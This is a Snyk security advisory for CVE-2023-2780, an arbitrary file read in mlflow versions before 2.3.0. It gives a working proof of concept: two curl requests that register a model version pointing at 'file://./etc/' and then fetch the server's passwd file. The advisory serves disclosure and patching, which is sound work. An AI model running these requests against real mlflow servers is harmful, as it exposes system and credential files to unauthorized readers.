Arbitrary File Read Affecting mlflow package, versions [,2.3.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.73% (91st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-5561964
  • published18 May 2023
  • disclosed17 May 2023
  • creditRahul Maini

Introduced: 17 May 2023

CVE-2023-2780  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.3.0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Arbitrary File Read due to a bypass of the fix for CVE-2023-1177. This allows attackers to download arbitrary files unrelated to MLflow from the host server, including any files stored in remote locations to which the host server has access.

PoC

Send a request including "source":"file://./etc/", like

curl -i -s -k -X $'POST'  -H $'Host: 127.0.0.1:5000' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: /' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://127.0.0.1:5000/' -H $'Content-Type: application/json; charset=utf-8' -H $'Origin: http://127.0.0.1:5000' -H $'Connection: close' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin'  --data-binary $'{"name":"AJAX-API","source":"file://./etc/"}'  $'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create

Get the version value from the error response and use it to send a successful request for an unauthorized file.

curl http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version number}}

CVSS Scores

version 3.1